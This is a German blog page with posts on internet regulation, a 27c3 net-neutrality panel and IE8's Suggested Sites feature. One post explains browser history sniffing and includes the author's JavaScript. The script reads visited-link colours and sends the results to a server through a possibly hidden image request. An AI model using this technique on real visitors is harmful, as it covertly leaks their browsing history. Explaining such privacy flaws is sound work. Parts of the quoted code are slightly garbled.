dimis linkdump

Posts tagged ‘Internet’

Internet am Scheideweg

Mai 25th, 2011

Martin Weigert von netzwertig.com hat einen tollen Text über aktuelle Netzpolitik geschrieben. Zentrale These, die ich so sofort unterschreiben würde ist, dass es in all den Internet-Regulierungsbestrebungen vor allem um eines geht: Machterhalt und Reaktion auf die Angst vor (zunehmenden) Kontrollverlust.  [1]

Wir haben uns mit dem Internet eine Technologie erschaffen, die Informationsbeschaffung unkompliziert und schnell möglich macht. Das Internet erlaubt es uns innerhalb von wenigen Minuten Fakten aus den klassichen Medien selbst zu recherchieren und andere auf Verfehlungen der Medien aufmerksam zu machen. Das Spiel mit den Medien ist schwieriger geworden – ein Teil des Kontrollverlustes.

Halte dieser Trend an, könnte das Internet so unsicher werden, dass es unbrauchbar werde, sagte er. H.-P. Friedrich (http://www.tagesschau.de/inland/kriminalstatistik126.html)

Um nur ein Beispiel zu nennen: An Aussagen wie sie der Minister Friedrich am Wochenende getroffen hat ist erkennbar mit welchen Methoden versucht wird das Ruder Richtung VDS zu reißen. Mit dem Argument das Internet könnte unbrauchbar werden, weil es zu “unsicher” wird, begründet mit den Daten aus der Polizeistatistik, ist ein verzweifelter Versuch die Vorratsdatenspeicherung mit ungenügenden Argumenten  zu rechtfertigen.

Das Internet könnte trotzdem unbrauchbar werden – und zwar vor allem dann wenn Netzsperren-Befürworter, Vorratsdaten-Fanatiker und Freiheit-durch-Sicherheit-Anhänger sich durchsetzen. Sollten wir das zulassen, wird das Internet mit Sicherheit  (Achtung Wortspiel! ;) ) unbrauchbar.

Unbrauchbar wird es auch wenn ein wild gewordener N. Sarcozy versucht ein zivilisiertes Internet zu schaffen. Das Internet zivilisieren. Heißt wohl so viel wie “das Internet kontrollieren”. Im Fall von eG8 wohl für wirtschaftliches Wachstum durch und mit dem Internet. Dass das Internet aber weniger ein neues Investitionsfeld, als ein Medium für freie, vielfältige und unzensierte Informationen ist, wird hier völlig außer Acht gelassen.

All die Hirngespinste, die in den Poltikerköpfen herumschwirren und immer wieder drohen Realität zu werden, gilt es aufzuhalten. Sie werden das Medium Internet langfristig zerstören. Demokratische Bewegungen werden gelobt. Demokratiefördernde Strukturen wie das Internet werden aber in Europa durch verschiedene Maßnahmen gefährdet – das muss augehalten werden. Und jeder sollte mitmachen!

 

Zurück vom 27c3 – es gab viele interessante Vorträge. Einer davon war die Podiumsdiskussion über Netzneutralität mit scusi, Andreas Bogk (CCC) und Falk Lüke (Bundesverband der Verbraucherzentralen).

Einführung

Dass noch niemand eine gültige Definition von Netzneutralität hat und die im Rahmen einer Gesetzgebung erst noch erarbeitet werden muss, ist allen Beteiligten klar. Trotzdem ist Bogks Position herauszugreifen. Der definiert die Netzneutralität nicht dahingehend, dass jedes Datenpaket immer gleich behandelt werden muss sondern, dass Pakete nicht aufgrund ihres Absenders oder Inhalts unterschiedlich behandelt werden dürfen – sehr wohl aber priorisiert werden dürfen, wenn sie eine “Expressbriefmarke” enthalten.

Aufgrund dieser Briefmarke soll der Sender dem Provider mitteilen können, dass ein vom Sender ausgewähltes Datenpaket priorisiert behandelt werden soll. Damit soll Echtzeitkommunikation im Internet gesichert werden. Heißt, dass Telefonate, Videos und jede andere zeitkritische Kommunikation vom Sender mit einer solchen Briefmarke ausgestattet werden müssen. Diese Briefmarken sollen Geld kosten – sonst könnte man ja jedes Datenpaket mit dieser Briefmarke bekleben.

Zusätzlich soll es eine Internet-Grundsicherung geben. Die Datenpakete im Grundsicherungs-Internet sollen weiterhin wie heute unter dem Best-Effort-Prinzip versendet und empfangen werden.

Diese Vorstellung von Netzneutralität mag ein Kompromiss sein, der zwischen Datenschützern und Unternehmen eine Einigung herbeiführen kann. Immerhin wird nicht der Inhalt jedes Pakets über Deep Paket Inspection untersucht sondern nur überprüft ob eine Briefmarke auf dem Paket klebt. Das freut Datenschützer und Unternehmen – die Daten scheinen geschützt und die Unternehmen können neue Geschäftsfelder erschließen.

Kritik

Einer der offensichtlichen, aber beim Kongress nicht angesprochenen, Kritikpunkte ist die Praxistauglichkeit (für die Masse). Es wird jedem Nutzer die Möglichkeit gegeben, bestimmten Traffic zu priorisieren. Selbst unter der Vorraussetzung, dass alle Menschen verstehen, was diese Expressbriefmarke bewirkt, wie soll das “bekleben” der Pakete mit diesen Briefmarken denn funktionieren?

Im Netzpolitik-Podcast war einer der Vorschläge, dass die Homerouter und Betriebssysteme entsprechende Funktionalität implementieren sollen, die dem Nutzer eine einfache Priorisierung per Mausklick ermöglicht.  Trägt man sich jetzt YouTube im Router ein oder HTTP-Traffic allgemein? Wahrscheinlich YouTube selbst, denn hin und wieder kommt eben auch ein Linux-Download über HTTP rein, der definitiv nicht priosiert werden soll. Daraus folgt aber die Notwendigkeit eine Liste mit zu priorisierenden Diensten im Internet im Router zu führen. Allein die Vielfältigkeit  und Vielzahl von Echtzeitdiensten im Internet macht eine Liste aber unmöglich. Ein Popup im Firefox oder durch Windows vor jeder Verbindung ins Internet a la “Internet-Expressbriefmarke aufkleben? Ja / Nein” ist definitiv auch nicht Praxistauglich.

Alternativ könnte der Absender die Priorisierung für seine Angebote bezahlen – YouTube beispielsweise könnte dafür bezahlen, dass seine Videos mit der Briefmarke beklebt werden.  Damit wäre YouTube wahrscheinlich nie entstanden. Jedes finanziell knappe Startup das auf Echtzeitkommunikation angewiesen ist, würde damit im Keim erstickt. Damit hätte man wieder eine Selektion nach Absender – der Provider schaut zwar nicht in den header, sondern nur auf die Briefmarke, die Selektion findet dann aber anhand von finanziellen Mitteln statt.

An anderer Stelle in der Diskussion ging es um Kapazitätsengpässe und Aufteilung von endlichen Ressourcen. Hierbei wurde der Punkt angeführt, dass Provider keine finanziellen Mittel in den Netzaufbau pumpen, weil sich mit einem qualitativ schlechteren Netz das gleiche Geld verdienen lässt. Richtig erkannt wurde, dass wir uns als Gesellschaft ein qualitativ hochwertiges Netz wünschen.  Fraglich bleibt ob durch eine Trennung von priorisiertem Traffic und Grundsicherung die Provider wirklich mehr in den Netzausbau investieren. Dass mehr Geld in Unternehmen nicht zwangsläufig zu Investitionen führt, ist wohl kein Geheimnis. Viel eher sehe ich, dass solange die Netze die priorisierten Pakete problemlos transportieren auch weiterhin kein Netzausbau passiert und eine Folge dessen eine schlechte Qualität des Grundsicherungs-Internets ist. Irgendwann meutern dann vielleicht die Prio-Kunden, vielleicht ist das dann der Grund für neue Investitionen in den Netzausbau. Diesen Effekt erreicht man aber auch im Internet ohne Trennung – irgendwann meutern die Kunden, wenn die Bandbreite fehlt.

Als Fazit muss man festhalten, dass sich Andreas Bogk keinesfalls auf eine Seite mit den TelCos begeben hat – die wollen nämlich nach wie vor in die Pakete reinschauen und aufgrund von Inhalt, Absender und/oder Empfänger priorisieren. Definitiv der Worst-Case Fall. Ich halte Andreas Vorschlag eher für eine Lösung, die man noch aus der Schublade ziehen kann, wenn sich abzeichnet, dass eine 100%ige Gleichbehandlung der Pakete im Internet (ohne Priorisierung) nicht durchsetzen lässt.

Ganz kurz noch zum mobilen “Internet”: Im mobilen Internet könnte Andreas Vorschlag dann doch sehr wohl eine verbesserung der Situation herbeiführen. Da könnte der Vorschlag als erster Schritt hin zu einem echten Internet auf dem Handy genutzt werden. Auch wenn einige der oben genannten Probleme dort ebenfalls auftreten, wäre das besser als dieses kastrierte Internet was momentan verkauft wird.

  • http://www.linux-magazin.de/NEWS/27C3-Video-Netzneutralitaet-und-QoS-ein-Widerspruch
  • http://www.netzpolitik.org/2010/npp104-andreas-bogk-uber-netzneutralitat-und-netzwerkmanagement/

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei startpanic Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist. ;)

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot. ;)

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! :)

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt ;)

Da momentan viele über Google “Vorgeschlagene Sites deaktivieren” hier reinkommen, hier kurz die Anleitung zum deaktivieren:

http://news.magnus.de/software/QQartikelZ92719/bild/43/internet-explorer-8.html

Der ursprüngliche Artikel:

Der IE8 bringt ein neues Feature mit: Vorgeschlagene Sites. Da werden die besuchten Seiten (vollständige URL mit Parametern), IP-Adresse, dem Browsertyp sowie den Gebietsschema- und Spracheinstellungen an Microsoft übertragen. Dort werden die Informationen gespeichert und ausgewertet und man bekommt dann Vorschläge für Seiten, die den besuchten ähneln.

Ansich eigentlich nett…wäre da nicht…

(weiterlesen…)

RSS-Feed Creative Commons License